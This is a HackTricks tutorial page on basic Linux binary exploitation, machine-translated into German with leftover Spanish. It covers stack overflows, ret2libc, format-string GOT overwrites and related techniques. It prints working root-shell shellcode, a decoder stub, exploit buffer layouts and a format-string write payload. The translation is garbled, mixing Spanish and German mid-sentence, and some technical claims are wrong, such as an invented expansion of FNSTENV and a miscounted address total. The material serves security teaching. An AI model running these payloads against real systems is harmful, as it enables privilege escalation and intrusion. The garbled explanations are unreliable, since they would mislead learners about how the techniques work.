hacktricks/exploiting/linux-exploiting-basic-esp/README.md

951 lines
62 KiB
Markdown
Raw Normal View History

# Linux Exploiting (Basic) (SPA)
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erfahren Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-30 11:12:47 +01:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 15:36:32 +00:00
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>
## **1.STACK OVERFLOWS**
> buffer overflow, buffer overrun, stack overrun, stack smashing
2024-02-10 15:36:32 +00:00
Segmentierungsfehler oder Segmentierungsverletzung: Wenn versucht wird, auf eine Speicheradresse zuzugreifen, die dem Prozess nicht zugewiesen wurde.
Um die Adresse einer Funktion innerhalb eines Programms zu erhalten, kann dies getan werden:
```
objdump -d ./PROGRAMA | grep FUNCION
```
2022-05-01 13:25:53 +00:00
## ROP
2024-02-10 15:36:32 +00:00
### Aufruf von sys\_execve
{% content-ref url="rop-syscall-execv.md" %}
[rop-syscall-execv.md](rop-syscall-execv.md)
{% endcontent-ref %}
2020-12-30 00:28:59 +00:00
2022-05-01 13:25:53 +00:00
## **2.SHELLCODE**
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
2022-02-28 09:13:08 +00:00
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; clear eax\
xor ebx, ebx ; ebx = 0 because there are no arguments to pass\
2022-02-28 09:13:08 +00:00
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Execute syscall
**nasm -f elf assembly.asm** —> Returns a .o file\
**ld assembly.o -o shellcodeout** —> Generates an executable with the assembly code and we can extract the opcodes with **objdump**\
**objdump -d -Mintel ./shellcodeout** —> To verify that it is indeed our shellcode and extract the OpCodes
**Verify that the shellcode works**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
2024-02-10 15:36:32 +00:00
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Para verificar, ob die Systemaufrufe korrekt ausgeführt werden, muss das vorherige Programm kompiliert werden und die Systemaufrufe sollten in **strace ./KOMPILIERTE\_PROGRAMM** erscheinen.
Beim Erstellen von Shellcodes kann ein Trick angewendet werden. Die erste Anweisung ist ein Sprung zu einem Aufruf. Der Aufruf ruft den Originalcode auf und legt zusätzlich das EIP im Stack ab. Nach der Aufrufanweisung haben wir den benötigten String platziert, sodass wir mit diesem EIP auf den String zeigen und den Code weiter ausführen können.
2024-02-10 15:36:32 +00:00
BEISPIEL **TRICK (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
2024-02-10 15:36:32 +00:00
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**EJ mit dem Stack(/bin/sh) verwenden:**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
EJ FNSTENV steht für "Extended Jump Far Not Save Environment". Es ist ein Befehl, der verwendet wird, um den FPU-Zustand zu speichern.
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
2024-02-10 15:36:32 +00:00
**Egg Hunter:**
Besteht aus einem kleinen Code, der die Speicherseiten eines Prozesses nach der dort gespeicherten Shellcode durchsucht (sucht nach einer Signatur im Shellcode). Nützlich in Fällen, in denen nur wenig Platz zum Einspritzen von Code zur Verfügung steht.
2024-02-10 15:36:32 +00:00
**Polymorphe Shellcodes**
Es handelt sich um verschlüsselte Shells, die über kleine Codes verfügen, die sie entschlüsseln und zu ihnen springen lassen, unter Verwendung des Call-Pop-Tricks wäre dies ein **Beispiel für eine Caesar-Verschlüsselung**:
```
global _start
_start:
2024-02-10 15:36:32 +00:00
jmp short magic
init:
2024-02-10 15:36:32 +00:00
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
2024-02-10 15:36:32 +00:00
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
2024-02-10 15:36:32 +00:00
call init
sc:
2024-02-10 15:36:32 +00:00
;Aquí va el shellcode
```
1. **Angriff auf den Frame-Pointer (EBP)**
Nützlich in einer Situation, in der wir den EBP ändern können, aber nicht den EIP.
2024-02-10 15:36:32 +00:00
Es ist bekannt, dass beim Verlassen einer Funktion der folgende Assemblercode ausgeführt wird:
```
movl %ebp, %esp
popl %ebp
ret
```
De esta forma, wenn das EBP beim Verlassen einer Funktion (fvuln), die von einer anderen Funktion aufgerufen wurde, geändert werden kann, kann das EIP geändert werden, wenn die Funktion, die fvuln aufgerufen hat, endet.
In fvuln kann ein falsches EBP eingefügt werden, das auf eine Stelle zeigt, an der die Adresse des Shellcodes + 4 (4 für das Pop) liegt. So wird beim Verlassen der Funktion der Wert von &(\&Shellcode)+4 in ESP platziert, mit dem Pop wird 4 von ESP abgezogen und er zeigt auf die Adresse des Shellcodes, wenn das ret ausgeführt wird.
**Exploit:**\
2024-02-10 15:36:32 +00:00
\&Shellcode + "AAAA" + SHELLCODE + Füllung + &(\&Shellcode)+4
**Off-by-One Exploit**\
Es ist nur möglich, das am wenigsten signifikante Byte des EBP zu ändern. Ein Angriff wie oben beschrieben kann durchgeführt werden, aber der Speicher, der die Adresse des Shellcodes speichert, muss die ersten 3 Bytes mit dem EBP teilen.
2024-02-10 15:36:32 +00:00
## **4. Return-to-Libc-Methoden**
Nützliche Methode, wenn der Stack nicht ausführbar ist oder nur einen sehr kleinen Puffer zum Ändern bietet.
2024-02-10 15:36:32 +00:00
ASLR bewirkt, dass Funktionen bei jeder Ausführung an unterschiedlichen Speicherpositionen geladen werden. Daher kann diese Methode in diesem Fall möglicherweise nicht wirksam sein. Für Remote-Server, da das Programm ständig an derselben Adresse ausgeführt wird, kann es jedoch nützlich sein.
* **cdecl(C-Deklaration)** Legt die Argumente auf den Stack und bereinigt den Stack nach Verlassen der Funktion
* **stdcall(Standardaufruf)** Legt die Argumente auf den Stack und die aufrufende Funktion bereinigt den Stack
* **fastcall** Legt die ersten beiden Argumente in Register und den Rest auf den Stack
Die Adresse der libc-Systemanweisung wird platziert und der String "/bin/sh" wird als Argument übergeben, normalerweise aus einer Umgebungsvariable. Außerdem wird die Adresse der exit-Funktion verwendet, damit das Programm nach Beendigung der Shell ohne Probleme beendet wird (und Logs geschrieben werden).
**export SHELL=/bin/sh**
Um die benötigten Adressen zu finden, kann man innerhalb von **GDB** nachsehen:\
**p system**\
**p exit**\
**rabin2 -i ausführbare Datei** —> Gibt die Adressen aller Funktionen im Programm beim Laden an\
(Innerhalb eines Starts oder eines Breakpoints): **x/500s $esp** —> Hier suchen wir nach dem String /bin/sh
2024-02-10 15:36:32 +00:00
Sobald wir diese Adressen haben, sieht der **Exploit** wie folgt aus:
“A” \* EBP-ABSTAND + 4 (EBP: können 4 "A"s sein, aber es ist besser, wenn es das echte EBP ist, um Segmentierungsfehler zu vermeiden) + Adresse von **system** (überschreibt das EIP) + Adresse von **exit** (beim Verlassen von system(“/bin/sh”) wird diese Funktion aufgerufen, da die ersten 4 Bytes des Stacks als die nächste auszuführende EIP-Adresse behandelt werden) + Adresse von “**/bin/sh**” (wird als Parameter an system übergeben)
Auf diese Weise wird das EIP mit der Adresse von system überschrieben, die den String "/bin/sh" als Parameter erhält und beim Verlassen dieses die Funktion exit() ausführt.
Es kann vorkommen, dass ein Byte einer Adressfunktion null oder Leerzeichen (\x20) ist. In diesem Fall können die vorherigen Adressen disassembliert werden, da wahrscheinlich mehrere NOPs vorhanden sind, die es ermöglichen, einen von ihnen anstelle der Funktion direkt aufzurufen (zum Beispiel mit > x/8i system-4).
Diese Methode funktioniert, da beim Aufruf einer Funktion wie system mit dem Opcode **ret** anstelle von **call** die Funktion davon ausgeht, dass die ersten 4 Bytes die **EIP**-Adresse sind, zu der zurückgekehrt werden soll.
Eine interessante Technik bei dieser Methode ist das Aufrufen von **strncpy()**, um ein Nutzlast vom Stack auf den Heap zu verschieben und anschließend **gets()** zu verwenden, um diese Nutzlast auszuführen.
Eine weitere interessante Technik ist die Verwendung von **mprotect()**, die es ermöglicht, die gewünschten Berechtigungen für jeden Teil des Speichers zuzuweisen. Es funktionierte oder funktionierte in BDS, MacOS und OpenBSD, aber nicht in Linux (es wird kontrolliert, dass Schreib- und Ausführungsberechtigungen nicht gleichzeitig erteilt werden können). Mit diesem Angriff könnte der Stack wieder als ausführbar konfiguriert werden.
**Funktionsverkettung**
2024-02-10 15:36:32 +00:00
Basierend auf der vorherigen Technik besteht dieser Exploit darin:\
Füllung + \&Funktion1 + \&pop;ret; + \&arg\_fun1 + \&Funktion2 + \&pop;ret; + \&arg\_fun2 + …
Auf diese Weise können Funktionen verkettet werden, die aufgerufen werden sollen. Außerdem können, wenn Funktionen mit mehreren Argumenten verwendet werden sollen, die erforderlichen Argumente (z. B. 4) platziert und die 4 Argumente eingegeben werden und nach einer Adresse mit Opcodes gesucht werden: pop, pop, pop, pop, ret —> **objdump -d ausführbare Datei**
**Verkettung durch Fälschen von Frames (EBP-Verkettung)**
Es besteht darin, die Möglichkeit zu nutzen, das EBP zu manipulieren, um die Ausführung mehrerer Funktionen durch EBP und "leave;ret" zu verketten.
2024-02-10 15:36:32 +00:00
FÜLLUNG
* Setzen Sie im EBP ein falsches EBP, das auf zeigt: 2. falsches EBP + die auszuführende Funktion: (\&system() + \&leave;ret + &“/bin/sh”)
* Setzen Sie im EIP als Adresse eine Funktion &(leave;ret)
Starten Sie die Shellcode mit der Adresse zum nächsten Teil des Shellcodes, z. B.: 2. falsches EBP + \&system() + &(leave;ret;) + &”/bin/sh”
das 2. EBP wäre: 3. falsches EBP + \&system() + &(leave;ret;) + &”/bin/ls”
Dieser Shellcode kann endlos in den Speicherbereichen wiederholt werden, auf die zugegriffen werden kann, sodass ein Shellcode leicht in kleine Speicherstücke unterteilt werden kann.
(Die Ausführung von Funktionen wird durch die vorherigen EBP- und ret2lib-Schwachstellen verknüpft)
## **5. Zusätzliche Methoden**
2022-04-28 23:27:22 +00:00
**Ret2Ret**
Nützlich, wenn eine Adresse vom Stack nicht in das EIP eingefügt werden kann (es wird überprüft, dass das EIP nicht 0xbf enthält) oder wenn der Speicherort des Shellcodes nicht berechnet werden kann. Die anfällige Funktion akzeptiert jedoch einen Parameter (der Shellcode wird hier platziert).
Auf diese Weise wird durch Ändern des EIP in eine Adresse zu einem **ret** die nächste Adresse geladen (die die Adresse des ersten Arguments der Funktion ist). Das bedeutet, dass der Shellcode geladen wird.
Der Exploit würde sein: SHELLCODE + Füllung (bis EIP) + **\&ret** (die nächsten Bytes des Stacks zeigen auf den Beginn des Shellcodes, da die Adresse des übergebenen Parameters in den Stack eingefügt wird)
Es scheint, dass Funktionen wie **strncpy** nach Abschluss die Adresse, an der der Shellcode gespeichert war, vom Stack entfernen und diese Technik unmöglich machen. Das bedeutet, dass die Adresse, die der Funktion als Argument übergeben wird (die den Shellcode speichert), durch ein 0x00 ersetzt wird, sodass beim zweiten **ret** ein 0x00 gefunden wird und das Programm abstürzt.
```
2024-02-10 15:36:32 +00:00
**Ret2PopRet**
```
Si wir keine Kontrolle über das erste Argument haben, aber über das zweite oder dritte, können wir EIP mit einer Adresse zu pop-ret oder pop-pop-ret überschreiben, je nach Bedarf.
**Murats Technik**
2024-02-10 15:36:32 +00:00
In Linux werden alle Programme ab 0xbfffffff gemappt.
Durch das Betrachten des Aufbaus des Stacks eines neuen Prozesses in Linux kann ein Exploit entwickelt werden, sodass das Programm in einer Umgebung gestartet wird, in der nur eine Variable vorhanden ist: die Shellcode. Die Adresse dieser kann dann berechnet werden als: addr = 0xbfffffff - 4 - strlen(KOMPLETTER_AUSFÜHRBARER_NAME) - strlen(shellcode)
Auf diese Weise kann die Adresse, an der sich die Umgebungsvariable mit der Shellcode befindet, einfach erhalten werden.
Dies ist möglich, da die Funktion execle es ermöglicht, eine Umgebung zu erstellen, die nur die gewünschten Umgebungsvariablen enthält.
2024-02-10 15:36:32 +00:00
**Jump to ESP: Windows-Stil**
Da ESP immer auf den Beginn des Stacks zeigt, besteht diese Technik darin, EIP durch die Adresse eines **jmp esp** oder **call esp** zu ersetzen. Auf diese Weise wird der Shellcode nach der Überschreibung des EIP gespeichert, da nach dem Ausführen des **ret** ESP auf die nächste Adresse zeigt, genau dort, wo der Shellcode gespeichert wurde.
Wenn ASLR in Windows oder Linux nicht aktiviert ist, können **jmp esp** oder **call esp** aus einem gemeinsam genutzten Objekt aufgerufen werden. Wenn ASLR aktiviert ist, könnte innerhalb des anfälligen Programms gesucht werden.
Darüber hinaus ermöglicht die Platzierung des Shellcodes nach der EIP-Korruption anstelle in der Mitte des Stacks, dass die push- oder pop-Anweisungen, die während der Funktion ausgeführt werden, den Shellcode nicht berühren (was passieren könnte, wenn er in der Mitte des Stacks der Funktion platziert würde).
Auf ähnliche Weise, wenn bekannt ist, dass eine Funktion die Adresse speichert, an der der Shellcode gespeichert ist, kann **call eax** oder **jmp eax (ret2eax)** aufgerufen werden.
2024-02-10 15:36:32 +00:00
**Integer-Überläufe**
2024-02-10 15:36:32 +00:00
Diese Art von Überläufen tritt auf, wenn eine Variable nicht darauf vorbereitet ist, eine so große Zahl wie die übergebene zu verarbeiten, möglicherweise aufgrund einer Verwechslung zwischen vorzeichenbehafteten und vorzeichenlosen Variablen, zum Beispiel:
2020-11-28 20:03:33 +00:00
```c
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
2020-11-28 20:03:33 +00:00
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
2020-11-28 20:03:33 +00:00
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
2020-11-28 20:03:33 +00:00
printf("\nIntento de hack\n");
return 0;
}
```
En el vorherigen Beispiel sehen wir, dass das Programm 2 Parameter erwartet. Der erste ist die Länge des folgenden Strings und der zweite ist der String.
Wenn wir als ersten Parameter eine negative Zahl übergeben, wird angezeigt, dass len < 256 ist und wir diesen Filter passieren, außerdem wird auch strlen(buffer) kleiner als l sein, da l ein unsigned int ist und sehr groß sein wird.
Diese Art von Overflows zielt nicht darauf ab, etwas im Prozess des Programms zu schreiben, sondern darauf, schlecht gestaltete Filter zu umgehen, um andere Schwachstellen auszunutzen.
2024-02-10 15:36:32 +00:00
**Nicht initialisierte Variablen**
Es ist nicht bekannt, welchen Wert eine nicht initialisierte Variable annehmen kann, und es könnte interessant sein, dies zu beobachten. Es könnte sein, dass sie den Wert annimmt, den eine Variable aus der vorherigen Funktion hatte und diese vom Angreifer kontrolliert wird.
2022-05-01 13:25:53 +00:00
## **Format Strings**
In C ist **`printf`** eine Funktion, die verwendet werden kann, um einen String auszugeben. Der **erste Parameter**, den diese Funktion erwartet, ist der **Roh-Text mit den Formatierern**. Die **folgenden erwarteten Parameter** sind die **Werte**, die die **Formatierer** im Roh-Text **ersetzen** sollen.
Die Schwachstelle tritt auf, wenn ein **Angreifertext als erster Argument** an diese Funktion übergeben wird. Der Angreifer kann einen **speziellen Input erstellen**, indem er die **Fähigkeiten der printf-Formatzeichenfolge missbraucht**, um **beliebige Daten an beliebige Adressen zu schreiben**. Auf diese Weise kann er **beliebigen Code ausführen**.
2024-02-10 15:36:32 +00:00
Formatierer:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**`%n`** **schreibt** die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse. Indem** wir so viele **Bytes** schreiben, wie die Hexadezimalzahl, die wir **schreiben müssen**, können wir **beliebige Daten schreiben**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
2024-02-10 15:36:32 +00:00
### GOT (Global Offsets Table) / PLT (Procedure Linkage Table)
Dies ist die Tabelle, die die **Adresse** der vom Programm verwendeten **externen Funktionen** enthält.
2024-02-10 15:36:32 +00:00
Erhalten Sie die Adresse dieser Tabelle mit: **`objdump -s -j .got ./exec`**
![](<../../.gitbook/assets/image (619).png>)
Beobachten Sie, wie Sie nach dem **Laden** des **ausführbaren** Codes in GEF die **Funktionen** sehen können, die sich im **GOT** befinden: `gef➤ x/20x 0xDIR_GOT`
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
Mit GEF können Sie eine **Debugging-Sitzung starten** und **`got`** ausführen, um die GOT-Tabelle zu sehen:
2021-03-22 00:35:56 +00:00
![](<../../.gitbook/assets/image (621).png>)
2021-03-22 11:21:45 +00:00
In einem Binärfile enthält das GOT die **Adressen der Funktionen oder** des **PLT**-Abschnitts, der die Funktionsadresse lädt. Das Ziel dieses Exploits ist es, den **GOT-Eintrag** einer Funktion zu **überschreiben**, die später ausgeführt wird, **mit** der **Adresse** des PLT der **`system`**-**Funktion**. Idealerweise überschreiben Sie den **GOT** einer **Funktion**, die **mit von Ihnen kontrollierten Parametern** aufgerufen wird (damit Sie die an die Systemfunktion gesendeten Parameter kontrollieren können).
2021-03-22 11:21:45 +00:00
Wenn **`system`** **nicht vom Skript verwendet wird**, wird die Systemfunktion **keinen Eintrag im GOT haben**. In diesem Szenario müssen Sie zuerst die Adresse der `system`-Funktion **leaken**.
2021-03-22 11:21:45 +00:00
**Procedure Linkage Table** ist eine **schreibgeschützte** Tabelle in der ELF-Datei, die alle erforderlichen **Symbole speichert, die aufgelöst werden müssen**. Wenn eine dieser Funktionen aufgerufen wird, wird das **GOT** den **Fluss** zum **PLT umleiten**, damit es die **Adresse** der Funktion auflösen und sie im GOT speichern kann.\
Dann wird beim **nächsten Mal**, wenn an diese Adresse ein Aufruf erfolgt, die **Funktion direkt aufgerufen**, ohne sie erneut auflösen zu müssen.
2021-03-22 10:43:33 +00:00
2024-02-10 15:36:32 +00:00
Sie können die PLT-Adressen mit **`objdump -j .plt -d ./vuln_binary`** sehen.
2021-03-22 10:43:33 +00:00
2024-02-10 15:36:32 +00:00
### **Exploit-Ablauf**
Wie bereits erklärt, besteht das Ziel darin, die **Adresse** einer **Funktion** in der **GOT-Tabelle zu überschreiben**, die später aufgerufen wird. Idealerweise könnten wir die **Adresse auf einen Shellcode** setzen, der sich in einem ausführbaren Abschnitt befindet, aber es ist sehr wahrscheinlich, dass Sie keinen Shellcode in einem ausführbaren Abschnitt schreiben können.\
Eine andere Option besteht darin, eine **Funktion zu überschreiben**, die ihre **Argumente** vom **Benutzer erhält** und sie auf die **`system`**-**Funktion** verweist.
Um die Adresse zu schreiben, werden normalerweise 2 Schritte ausgeführt: Sie **schreiben zuerst 2 Bytes** der Adresse und dann die anderen 2. Dazu wird **`$hn`** verwendet.
2024-02-10 15:36:32 +00:00
**HOB** bezieht sich auf die 2 höheren Bytes der Adresse\
**LOB** bezieht sich auf die 2 niedrigeren Bytes der Adresse
Daher müssen Sie aufgrund der Funktionsweise des Formatstrings zuerst das kleinere der \[HOB, LOB] schreiben und dann das andere.
2024-02-10 15:36:32 +00:00
Wenn HOB < LOB\
`[adresse+2][adresse]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
2024-02-10 15:36:32 +00:00
Wenn HOB > LOB\
`[adresse+2][adresse]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
2022-02-28 09:13:08 +00:00
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
2022-05-01 13:25:53 +00:00
### **Format String Exploit Template**
Sie finden hier eine **Vorlage**, um das GOT mithilfe von Formatstrings auszunutzen:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
2022-05-01 13:25:53 +00:00
### **.fini\_array**
Im Wesentlichen handelt es sich dabei um eine Struktur mit **Funktionen, die aufgerufen werden**, bevor das Programm endet. Dies ist interessant, wenn Sie Ihren **Shellcode aufrufen können, indem Sie zu einer Adresse springen**, oder in Fällen, in denen Sie erneut zum Hauptprogramm zurückkehren müssen, um **den Formatstring ein zweites Mal auszunutzen**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
2024-02-10 15:36:32 +00:00
8049934 a0850408
#Put your address in 0x8049934
```
Hinweis, dass dies **keine** **endlose Schleife** erzeugt, da der Canary bemerken wird, dass das Ende des Stapels möglicherweise beschädigt ist und die Funktion nicht erneut aufgerufen wird. Daher können Sie mit diesem **1 weitere Ausführung** der Schwachstelle haben.
### **Format Strings zum Dumpen von Inhalten**
Ein Format-String kann auch missbraucht werden, um Inhalte aus dem Speicher des Programms zu **dumpen**.\
Zum Beispiel gibt es in der folgenden Situation eine **lokale Variable im Stapel, die auf eine Flagge zeigt**. Wenn Sie herausfinden, wo im **Speicher** der **Zeiger** auf die **Flagge** ist, können Sie **printf** dazu bringen, auf diese **Adresse** zuzugreifen und die **Flagge** auszugeben:
Also, die Flagge ist in **0xffffcf4c**
![](<../../.gitbook/assets/image (618) (2).png>)
Und aus dem Leak können Sie sehen, dass der **Zeiger auf die Flagge** im **8. Parameter** liegt:
![](<../../.gitbook/assets/image (623).png>)
Daher können Sie durch den **Zugriff auf den 8. Parameter** die Flagge erhalten:
![](<../../.gitbook/assets/image (624).png>)
Beachten Sie, dass Sie nach dem **vorherigen Exploit** und der Erkenntnis, dass Sie Inhalte **leaken** können, **Zeiger** auf **`printf`** auf den Abschnitt setzen können, in dem das **ausführbare** Programm **geladen** ist, und es **vollständig dumpen**!
### **DTOR**
{% hint style="danger" %}
Heutzutage ist es sehr **selten, ein Binär mit einem dtor-Abschnitt zu finden**.
{% endhint %}
Die Destruktoren sind Funktionen, die **ausgeführt werden, bevor das Programm endet**.\
Wenn es Ihnen gelingt, eine **Adresse** zu einem **Shellcode** in **`__DTOR_END__`** zu **schreiben**, wird dies **ausgeführt**, bevor das Programm endet.\
Holen Sie sich die Adresse dieses Abschnitts mit:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Normalerweise finden Sie den **DTOR**-Abschnitt **zwischen** den Werten `ffffffff` und `00000000`. Wenn Sie also nur diese Werte sehen, bedeutet dies, dass **keine Funktion registriert ist**. Überschreiben Sie also die **`00000000`** mit der **Adresse** des **Shellcodes**, um ihn auszuführen.
2024-02-10 15:36:32 +00:00
### **Format Strings für Pufferüberläufe**
**sprintf** verschiebt einen formatierten String **in** eine **Variable**. Daher könnten Sie die **Formatierung** eines Strings missbrauchen, um einen **Pufferüberlauf in der Variablen** zu verursachen, in die der Inhalt kopiert wird.\
2024-02-10 15:36:32 +00:00
Beispielsweise schreibt das Payload `%.44xAAAA` 44B+"AAAA" in die Variable, was einen Pufferüberlauf verursachen kann.
2024-02-10 15:36:32 +00:00
### **\_\_atexit-Strukturen**
{% hint style="danger" %}
Heutzutage ist es sehr **seltsam, dies auszunutzen**.
{% endhint %}
**`atexit()`** ist eine Funktion, der **andere Funktionen als Parameter übergeben werden**. Diese **Funktionen** werden ausgeführt, wenn ein **`exit()`** ausgeführt wird oder das **Hauptprogramm** beendet wird.\
Wenn Sie die **Adresse** einer dieser **Funktionen** so ändern können, dass sie beispielsweise auf einen Shellcode zeigt, können Sie die **Kontrolle** über den **Prozess** erlangen, aber dies ist derzeit komplizierter.\
Derzeit sind die **Adressen der auszuführenden Funktionen** hinter mehreren Strukturen versteckt, und schließlich sind die Adressen, auf die sie zeigen, nicht die Adressen der Funktionen, sondern sind **verschlüsselt mit XOR** und Verschiebungen mit einem **zufälligen Schlüssel**. Daher ist dieser Angriffsvektor derzeit **zumindest auf x86** und **x64\_86** nicht sehr nützlich.\
Die **Verschlüsselungsfunktion** ist **`PTR_MANGLE`**. **Andere Architekturen** wie m68k, mips32, mips64, aarch64, arm, hppa... **implementieren die Verschlüsselungsfunktion nicht**, da sie das Gleiche zurückgeben wie sie als Eingabe erhalten haben. Daher wären diese Architekturen durch diesen Vektor angreifbar.
2022-05-01 13:25:53 +00:00
### **setjmp() & longjmp()**
{% hint style="danger" %}
Heutzutage ist es sehr **seltsam, dies auszunutzen**.
{% endhint %}
**`Setjmp()`** ermöglicht es, den **Kontext** (die Register) zu **speichern**.\
**`longjmp()`** ermöglicht es, den **Kontext** zu **wiederherstellen**.\
Die **gespeicherten Register** sind: `EBX, ESI, EDI, ESP, EIP, EBP`\
Das Problem ist, dass EIP und ESP durch die **`PTR_MANGLE`**-Funktion übergeben werden, sodass die **Architektur, die anfällig für diesen Angriff ist, die gleiche ist wie oben**.\
Sie sind nützlich für Fehlerbehebung oder Unterbrechungen.\
Jedoch sind nach meinen Recherchen die anderen Register nicht geschützt, **so dass bei einem `call ebx`, `call esi` oder `call edi`** innerhalb der aufgerufenen Funktion die Kontrolle übernommen werden kann. Oder Sie könnten auch EBP ändern, um ESP zu ändern.
2024-02-10 15:36:32 +00:00
**VTable und VPTR in C++**
Jede Klasse hat eine **Vtable**, die ein Array von **Methodenzeigern** ist.
Jedes Objekt einer **Klasse** hat einen **VPtr**, der ein **Zeiger** auf das Array seiner Klasse ist. Der VPtr ist Teil des Headers jedes Objekts, sodass bei einer **Überschreibung** des **VPtr** könnte er **geändert** werden, um auf eine Dummy-Methode zu zeigen, sodass bei der Ausführung einer Funktion der Shellcode aufgerufen wird.
## **Präventivmaßnahmen und Umgehungen**
**Return-into-printf**
Es handelt sich um eine Technik, um einen Pufferüberlauf in einen Formatkettenfehler umzuwandeln. Dabei wird der EIP so ersetzt, dass er auf ein printf der Funktion zeigt und eine manipulierte Formatkette als Argument übergeben wird, um Werte über den Zustand des Prozesses zu erhalten.
2024-02-10 15:36:32 +00:00
**Angriff auf Bibliotheken**
Bibliotheken befinden sich an einer Position mit 16 Bits Zufälligkeit = 65636 mögliche Adressen. Wenn ein anfälliger Server fork() aufruft, wird der Speicheradressraum im Kindprozess dupliziert und bleibt intakt. Daher kann versucht werden, einen Brute-Force-Angriff auf die usleep() Funktion von libc durchzuführen, indem "16" als Argument übergeben wird, sodass, wenn die Antwort länger als üblich dauert, diese Funktion gefunden wurde. Wenn bekannt ist, wo sich diese Funktion befindet, kann delta\_mmap erhalten und die anderen berechnet werden.
2024-02-10 15:36:32 +00:00
